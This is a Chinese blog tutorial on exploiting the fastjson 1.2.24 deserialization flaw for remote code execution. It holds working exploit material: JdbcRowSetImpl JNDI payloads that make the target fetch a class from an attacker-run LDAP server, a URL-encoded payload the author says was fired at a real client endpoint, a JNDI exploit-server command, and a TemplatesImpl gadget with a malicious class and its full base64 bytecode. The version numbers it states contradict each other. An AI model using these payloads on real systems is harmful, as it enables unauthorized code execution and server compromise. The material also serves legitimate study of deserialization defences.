fastjson1.2.24反序列化

fastjson1.2.24反序列化


在最近的项目中,前辈同事多次对fastjson版本进行反序列化漏洞实现RCE。项目中很多站点使用json字符串提交数据,所以就来学习学习如何探测fastjson版本和如何利用fastjson1.2.24反序列化导致RCE

前言


这里就主要分析一下fastjson 1.2.24版本的反序列化漏洞,这个漏洞比较普遍的利用手法就是通过JNDI注入的方式实现RCE,所以是一个不得不分析的JNDI注入实践案例!

fastjson


fastjson是一个非常流行的库,它可以将数据在JSONJava Object之间互相转换,我们常说的fastjson序列化就是将java对象转化为json字符串,而反序列化就是将json字符串转化为java对象

环境搭建


  • pom.xml

    在pom.xml配置文件中添加fastjson的依赖

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

​ 右键点击pom.xml文件,依次选择[maven]–>[Download Sources and Documentations]下载 配置文件中的依赖项

  • 导入jar包

    首先在maven repository中找到下载的jar包地址

    下载地址

​ 在仓库中找到所要下载的fastjson版本(这里选用fastjson1.2.24)

序列化/反序列化


为了更清晰的了解Fastjson中JSON字符串和对象的转换,使用IDE简单验证fastjson的序列和反序列

序列化


使用JSON.toJsonString()方法将Java对象中的属性及其对应值转换为Json字符串

DEMO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package org.example;

import com.alibaba.fastjson.JSON;

public class serialization {
public static void main( String[] args ){
User user = new User();
user.setAge(66);
user.setUsername("test");

String json = JSON.toJSONString(user);
System.out.println(json);
}
}

class User{
private String username;
private int age;

public void setUsername(String username) {
this.username = username;
System.out.println("call SetUsername");
}

public String getUsername() {
return username;
}

public void setAge(int age) {
this.age = age;
System.out.println("call Age");
}

public int getAge() {
return age;
}
}

运行结果:

可以看到将java对象使用JSON序列化(JSON.tojsonstring())转换为Json字符串

反序列化


fastjson1.2.24反序列化自动调用对应对象类中的setxxx()方法,将JSON字符串中的属性及其对应值通过对象类中的setxx()方法实例化

比如JSON字符串 {“age”:66,”username”:”test”}反序列化User类

Demo1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package org.example;

import com.alibaba.fastjson.JSON;

public class unSerialization {
public static void main( String[] args ){
String json = "{\"age\":66,\"username\":\"test\"}"; //定义json字符串
User user = JSON.parseObject(json,User.class); //反序列化User类
}
}

lass User{
private String username;
private int age;

public void setUsername(String username) {
this.username = username;
System.out.println("call SetUsername");
System.out.println("Username:"+this.username);
}

public String getUsername() {
return username;
}

public void setAge(int age) {
this.age = age;
System.out.println("call Age");
System.out.println("Age:"+this.age);
}

public int getAge() {
return age;
}
}

运行结果:

可以看到运行结果中输出了setxxx()方法中的字符串。所以在反序列化中JSON.parseObject(json,对象类名.class)自动调用了setxxx()方法,

这里的反序列化使用的是parseObject()方法,其实也可以用到parse()方法,parseObject() 本质上也是调用 parse() 进行反序列化的。但parseObject() 会将Java对象转为 JSONObject对象,即JSON.toJSON().

parseObject()和parse()最主要的区别就是前者返回的是JSONObject,而后者会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,返回的是实际类型的对象.当在没有对应类的定义的情况下(没有在@type声明类),通常情况下都会使用JSON.parseObject来获取数据。

由于JSON.parseObject()要反序列化到对应的对象(比如demo中的User类对象,需要将第二个参数设置为User.class才会触发类的setXXX方法,而直接使用该方法返回的是JSONObject对象,是不会触发setXXX方法的(因为JVM也不知道是哪个类的对象)。那要怎么处理才能让JSON.parseObject()在调用时,不输入第二个参数也能执行setXXX方法呢?我们使用parse()方法中下@type指定转换的类。

Demo2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class unserialization1 {
public static void main( String[] args )
{
String json1 = "{\"age\":123,\"username\":\"test\"}";
String json2 = "{\"@type\":\"org.example.User\",\"age\":66,\"username\":\"test\"}";
System.out.println("反序列化Json1字符串");
JSON.parseObject(json1);
System.out.println("反序列化json2字符串");
JSON.parseObject(json2);
}
}

class User{
private String username;
private int age;

public void setUsername(String username) {
this.username = username;
System.out.println("call SetUsername");
System.out.println("Username:"+this.username);
}

public String getUsername() {
return username;
}

public void setAge(int age) {
this.age = age;
System.out.println("call Age");
System.out.println("Age:"+this.age);
}

public int getAge() {
return age;
}
}

运行结果:

由于json1字符串未指定转换的对象类,没有调用setxxx()方法;而json2字符串使用了@type指定了所要转换的对象类,则调用了setxxx()方法。

可见@type参数的作用就是指定json字符串要反序列化的对象类。就是这个类让我们可以进行漏洞利用

相关知识:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ParserConfig类:
配置反序列化信息

Autotype:
Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的Class类型。

AutoType安全校验流程,假设如下场景,
​ 服务端接收到的请求Json串中包含了指定恶意代码Class的@Type,
​ 服务端调用JSON.parseObject()时触发了该Class中的构造函数、或者是getter、setter方法中的恶意代码

AutoType黑名单机制:
在反序列化时,会校验指定的class是否在黑名单中,若在,则抛出异常

Safemode机制:
配置safeMode后,无论白名单和黑名单,都不支持autoType,可一定程度上缓解反序列化Gadgets类变种攻击。

漏洞利用


从上面可以看出 ,Fastjson反序列过程中会自动调用@type指定的对象类中的setxxx()方法。所以只要找到一个类,并且他里面的setxxx()方法可以设置自定义的命令执行的属性,就可以造成RCE。

注:

1
如果需要还原出private属性的话,还需要在JSON.parseObject/JSON.parse中加上Feature.SupportNonPublicField参数。

JdbcRowSetImpl利用链


com.sun.rowset.jdbcRowSetImpl这个类可以被利用,这个类里面有很多setxxxx()方法,我们需要利用的则是setDataSourceName()和setAutoCommit()方法。

利用流程

jdbcRowSetimpl.setDataSourceName

1
2
3
4
5
6
7
8
9
10
11
12
13
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(var1);
}

}

可以看到setDataSourceName()方法调用了父类中的setDataSourceName()方法,传入var1参数。

BaseRowSet.setDataSourceName

1
2
3
4
5
6
7
8
9
10
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}

父类中的SetDataSourceName()方法将datasource设置为传入的参数

jdbcRowSetimpl.setAutoCommit

1
2
3
4
5
6
7
8
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}

setAutoCommit()方法调用了connect()方法

jdbcRoeSetimpl.connect

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

在connect()方法中使用lookup()调用getDataSourceName()方法,获取通过setDataSourceName()方法设置的DataSource,所以Sourcename是可以控制的。我们可以将Sourcename设置加载恶意类,从而利用造成命令执行。

RCE

我们可以将DataSourcename设置为搭建的ldap和RMI服务,这里使用的是JNDIExploit工具

[工具下载地址](Jeromeyoung/JNDIExploit-1: 一款用于JNDI注入利用的工具,大量参考/引用了Rogue JNDI项目的代码,支持直接植入内存shell,并集成了常见的bypass 高版本JDK的方式,适用于与自动化工具配合使用。 (github.com))

Demo

将 datasourcename设置为开启的ldap服务应用类

1
2
3
4
5
6
7
8
9
10
11
12
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class JNDI_Demo {
public static void main(String[] args) {
// 高版本的JDK,需要设置一下,低版本的可以忽略,参考JNDI注入文章
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/1vehsr\",\"AutoCommit\":false}";
JSON.parseObject(json);
}
}

使用JNDIEXPLOIT工具开启服务

1
2
3
4
java   -jar   JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar     -A 127.0.0.1     -C "calc"

-A 指定监听地址
-C 执行的命令

可以看到命令成功执行

实战利用(这里的fastjson版本为1.2.21)


在做某基金项目时公司前辈使用fastjson1.2.24反序列化实现了RCE,所以下来对该漏洞进行了复现

这是漏洞触发点,可以看到是个查询接口

该查询接口发现使用query参数(query_list),将query参数格式设置为错误格式,比如删除其中的中括号或花括号

这里删掉啦最后的花括号,可以看到报错返回fastjson版本为1.2.41

这里使用dnslog来验证是否命令执行成功

在dnslog平台上获取域名

将JNDIExpoit工具放到自己的公网服务器上,并开启IDAP和RMI服务(注意jdk版本)

构造query参数加载jdbcSetRowimpl类设置dataSourceName为指定的LDAP服务或者RMI服务

1
%7B%22ss%22:%7B%22@type%22:%22com.alibaba.fastjson.JSONObject%22,%7B%0A%20%20%20%20%22a%22:%7B%0A%20%20%20%20%20%20%20%22@type%22:%22java.lang.Class%22,%0A%20%20%20%20%20%20%20%22val%22:%22com.sun.rowset.jdbcRowSetimpl%22%0A%20%20%20%20%7D,%0A%20%20%20%20%22b%22:%7B%0A%20%20%20%20%20%20%20%22@type%22:%22com.sun.rowset.jdbcRowSetimpl%22,%0A%20%20%20%20%20%20%20%22dataSourceName%22:%22idap://公网服务器ip地址:1389/do9ouu%22,%0A%20%20%20%20%20%20%20%22autoCommit%22:true%0A%20%20%20%20%7D%0A%7D%7D

构造的json利用poc如下:

发包后可看到dnslog上有DNS解析,证明命令执行成功

命令执行也可以设置为反弹shell造成RCE。

Templatesimpl利用链


利用流程

思路如下;

1
2
3
1. 自定义构造恶意类TempletaPoc继承AbstractTranslet类,通过javassist字节码编程将恶意类TempletaPoc转换成字节码并对其进行base64编码。

2. 构造TemplatesImpl类的json数据,将TempletaPoc类的字节码设置为_bytecodes属性的取值中,当json数据在还原成TemplatesImpl对象时会加载_bytecodes属性。此时,就会触发前面设置的TempletaPoc类字节码并实例化,执行构造的命令。

构造恶意类TemplatePoc类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Templetapoc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

值得注意的是,需要导入com.sun.org.apache包,可通过在pom.xml配置文件下添加依赖下载资源导入。

1
2
3
4
5
<dependency>
<groupId>com.sun.org.apache</groupId>
<artifactId>jaxp-ri</artifactId>
<version>1.4</version>
</dependency>

使用javac.exe将java源代码编译成字节码,成功.class文件

我们使用工具查看编译成的二进制文件(hexdump或者一些编辑器)

将上面编译得到的字节码进行base64编码加密,加载编译得到的class文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class loadclasstest {
public static void main(String[] args) throws IOException {
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Users\\Administrator\\IdeaProjects\\fastjson_Demo\\src\\main\\java\\org\\example\\Templetapoc.class"));
String bytecode = Base64.getEncoder().encodeToString(bytes);
System.out.println(bytecode);

}
}

Base64编码;

1
yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEAEFRlbXBsZXRhcG9jLmphdmEMAAkACgcAIQwAIgAjAQAEY2FsYwwAJAAlAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAJgAKAQAXb3JnL2V4YW1wbGUvVGVtcGxldGFwb2MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABYADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAaAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAAA4ACQARAAwADwANABAAEQASABMAAAAHAAJMBwAUBAABABUAAAACABY=

构造测试类,设置Templatesimpl类中的_bytecodes属性为Templetapoc,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import org.example.User;
import org.example.Templetapoc;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import javassist.*;

import java.io.IOException;


public class Teamplatesimpl_test
{
public static void main(String[] args)throws CannotCompileException,NotFoundException,IOException
{
//设置Base64编码的字节码
String byteCode = "yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEAEFRlbXBsZXRhcG9jLmphdmEMAAkACgcAIQwAIgAjAQAEY2FsYwwAJAAlAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAJgAKAQAXb3JnL2V4YW1wbGUvVGVtcGxldGFwb2MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABYADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAaAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAAA4ACQARAAwADwANABAAEQASABMAAAAHAAJMBwAUBAABABUAAAACABY=";
//构造恶意的json字符串
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+byteCode+"\"]," + "'_name':T," + "'_tfactory':{}," + "\"_outputProperties\":{}}\n";
System.out.println(payload);
//反序列化
Object object = JSON.parseObject(payload,Feature.SupportNonPublicField);
}
}

下面我们来看下上面代码中的payload构造;

@type:当fastjson根据json数据对TemplatesImpl类进行反序列化时,会调用TemplatesImpl类的getOutputProperties方法触发利用链加载_bytecodes属性中的TempletaPoc类字节码并实例化,执行RCE代码。

_bytecodes:Templatesimpl类的属性,主要是承载恶意类TempletaPoc的字节码。就是把Templatepoc类先编译成字节码,然后再使用base64编码。

_name:关于_name属性,在调用TemplatesImpl利用链的过程中,会对_name进行不为null的校验。这里的_name取值为承载恶意类字节码,也就是前面的Templatepoc类。

_tfactory:在调用TemplatesImpl利用链时,defineTransletClasses方法内部会通过_tfactory属性调用一个getExternalExtensionsMap方法,如果_tfactory属性为null则会抛出异常,无法根据_bytecodes属性的内容加载并实例化恶意类。

outputProperties:json数据在反序列化时会调用TemplatesImpl类的getOutputProperties方法触发利用链,可以理解为outputProperties属性的作用就是为了调用getOutputProperties方法。

运行结果;

1
2
值得注意的是:
需要开启Feature.SupportNonPublicField,实战中不适用
打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信